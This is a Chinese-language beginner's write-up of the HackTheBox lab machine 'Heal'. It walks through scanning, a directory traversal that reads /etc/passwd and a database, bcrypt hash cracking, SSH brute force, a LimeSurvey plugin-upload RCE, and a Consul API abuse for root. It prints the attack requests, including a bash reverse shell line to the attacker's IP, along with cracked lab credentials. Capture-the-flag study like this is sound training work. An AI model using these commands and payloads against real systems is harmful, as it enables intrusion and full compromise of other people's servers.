[HTB] 靶机学习(一)Heal
概要
学习hackthebox的第一天,本人为初学者,将以初学者的角度对靶机渗出举行学习,中途可能会插入一些跟实操关系不大的相关新概念的学习和表明,只管做到详细,不跳步,以是也会有明白不正确的地方,欢迎大佬们提出指正
信息收集
端口扫描
由于可能是网络问题,扫描全端口很慢,以是用-F扫描top100端口,-sC表示使用nmap默认脚本扫描,-sV表示探测服务版本信息- nmap -sC -sV -F 10.10.11.46
复制代码- Starting Nmap 7.94 ( https://nmap.org ) at 2025-05-01 11:05 CST
- RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
- RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
- RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
- RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
- Nmap scan report for 10.10.11.46
- Host is up (3.5s latency).
- Not shown: 95 closed tcp ports (reset)
- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
- | ssh-hostkey:
- | 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
- |_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
- 25/tcp open tcpwrapped
- |_smtp-commands: Couldn't establish connection on port 25
- 80/tcp open http nginx 1.18.0 (Ubuntu)
- |_http-title: Did not follow redirect to http://heal.htb/
- |_http-server-header: nginx/1.18.0 (Ubuntu)
- 110/tcp open tcpwrapped
- 514/tcp filtered shell
- Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
复制代码 可以看到,开放了22,25,80,110,514端口
先看看80端口的,注意到标题Did not follow redirect to http://heal.htb/,无法重定向,以是先改一下hosts文件并访问网站
子域名爆破
模糊测试HOST头部,匹配200状态码- ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 -u http://heal.htb -H "Host: FUZZ.heal.htb"
复制代码 -w:设置字典
-mc:匹配http状态码
-H:匹配http头部
发现api.heal.htb子域名
添加子域名并访问网站- echo '10.10.11.46 api.heal.htb' >> /etc/hosts
复制代码
目录爆破
- gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -u http://heal.htb -t 50
复制代码 发现survey路由,访问http://heal.htb/survey
点击参与调查,跳转到新的子域名http://take-survey.heal.htb,显示无法使用此页面,需要添加到hosts文件
得到用户名ralph
子域名目录爆破
- dirsearch -u "http://take-survey.heal.htb/index.php/" -i 200,302
复制代码 由于503太多了,选择-i 只匹配200,302
有多个302跳转,访问http://take-survey.heal.htb/index.php/admin/authentication/sa/login
差不多收集完了,从头开始看看
毛病利用
目录遍历
回到http://heal.htb,注册一个看看,随便填
注册完划到最下面
点击导出pdf,抓包
放行到第三个包
发现了filename参数,试试能不能利用目录遍历来读取敏感文件- GET /download?filename=../../../../../etc/passwd
复制代码 找到两个/bin/bash登录用户,ralph和ron
再看看第一个获取到的子域名http://api.heal.htb
看看ruby by rails有没有什么敏感文件,然后利用目录遍历读取出来,经过搜刮,发现有数据库相关的配置文件
依旧是尝试一个个添加../- GET /download?filename=../../config/database.yml
复制代码
发现了数据库文件,读取看看- GET /download?filename=../../storage/development.sqlite3 HTTP/1.1
复制代码
哈希爆破
$2a$开头,为bcrypt类型的hash,以是指定-m 3200- hashcat -m 3200 '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' /usr/share/wordlists/rockyou.txt
复制代码 得到明文147258369- $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
-
- Session..........: hashcat
- Status...........: Cracked
复制代码 尝试ssh登录,密码错误,看来不是用来登录ssh的密码- └─# ssh ralph@10.10.11.46
复制代码
追念到刚才有个登录界面,用ralph/147258369登录看看,语言选择中文
http://take-survey.heal.htb/index.php/admin/authentication/sa/login
limesurvey 6.6.4 rce
(https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE)
下载上述网址的zip
修改revshell.php的ip和端口,我的是kali的ip
将修改后的revshell.php和config.xml打包成zip
选择配置-》插件
选择上传并安装,上传刚刚的zip文件
上传zip
选择安装
可以在第二页看到我们刚刚安装的插件
激活插件
得到插件的id是21
修改插件id
- python exploit.py http://take-survey.heal.htb ralph 147258369 80
复制代码
在kali上反弹shell成功
升级为交互式shell
- python3 -c "import pty;pty.spawn('/bin/bash')"
复制代码
www-data权限还是比较低的,看看有没有什么敏感文件,比如数据库文件,网站配置文件等- find /var/www/ -type f -name '*config*' 2>/dev/null -print0 | xargs -0 grep -i 'pass'
复制代码- find /var/www/ -type f -name '*config*':找到/var/www目录的文件名中带有config的普通文件
- 2>/dev/null:错误重定向,隐藏错误输出
- -print0:每个匹配的文件用 null 字符(\0) 结尾输出,用于防止文件名中含有空格、换行、特殊字符造成问题。
- xargs:接收前面 find 命令输出的文件路径,并一批一批地传递给下一个命令(即 grep)执行。
- -0:告诉 xargs 以 null 字符(而不是空格或换行)分隔输入,与 -print0 配合,防止路径中有空格出错。
- grep -i:不区分大小写,逐行查找关键字
复制代码 找到一个密码AdmiDi0_pA$$w0rd
将收集到的密码写到pass,用户名写到user
ssh爆破
使用msf爆破ssh- msfconsole
- set RHOSTS 10.10.11.46
- set PASS_FILE /root/pass
- set USER_FILE /root/user
- run
复制代码
得到用户名和密码ron:AdmiDi0_pA$$w0rd,ssh登录得到第一个flag
权限提升
ssh端口转发
检察端口开放
由于虚拟机网络问题,抽风了,连接很慢,且都是在127.0.0.1上的内网服务,正常是无法访问的,需要端口转发,改用本机的mobaxterm举行端口转发,经过尝试,3000是最开始的heal.htb,其他端口没什么有用的,基本没有实际服务,只有8500端口看起来比较有用,
打开mobaxterm内置的终端
- ssh -L 8500:127.0.0.1:8500 ron@heal.htb
复制代码- 冒号前面是本地端口,冒号后面是远程服务器的端口,也就是10.10.11.46上的内网服务
- ssh -L :本地端口转发,用ssh连接建立ssh隧道,当访问本地的8500端口时,通过ssh隧道转发到heal.htb上的8500端口,相当于本地通过ssh隧道访问heal.htb的内网服务
复制代码
本机访问http://127.0.01:8500,找到了版本号Consul v1.19.2,查一下有没有毛病
Hashicorp Consul v1.0 RCE
发现有rce毛病
参考https://blog.csdn.net/lhh134/article/details/135673444
访问http://127.0.0.1:8500/v1/agent/self
查找EnableRemoteScriptChecks,为true,大概是有毛病的
poc似乎有点问题,Request decode failed: json: unknown field "script"
后来又找到另一个
https://www.exploit-db.com/exploits/51117
发现这里没有写script键值对,删除试试,回显200,接着访问http://127.0.0.1:8500/ui/server1/nodes/consul-01/health-checks,发现是root用户- PUT /v1/agent/service/register HTTP/1.1
- Host: 127.0.0.1:8500
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
- X-Consul-Token:
- Content-type: application/json
- Connection: close
- Content-Length: 246
- {
- "ID": "bpPeMfZuAN",
- "Name": "bpPeMfZuAN",
- "Address":"127.0.0.1",
- "Port":80,
- "check":{
-
- "Args": ["sh", "-c","whoami"],
- "interval":"10s",
- "Timeout":"86400s"
- }
- }
复制代码
反弹shell(root)
- PUT /v1/agent/service/register HTTP/1.1
- Host: 127.0.0.1:8500
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
- X-Consul-Token:
- Content-type: application/json
- Connection: close
- Content-Length: 295
- {
- "ID": "bpPeMfZuAN",
- "Name": "bpPeMfZuAN",
- "Address":"127.0.0.1",
- "Port":80,
- "check":{
-
- "Args": ["/bin/bash", "-c","/bin/bash -i >& /dev/tcp/10.10.14.29/1234 0>&1"],
- "interval":"10s",
- "Timeout":"86400s"
- }
- }
复制代码 先在kali监听1234端口,发送请求包
在root目录的root.txt找到第二个flag
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |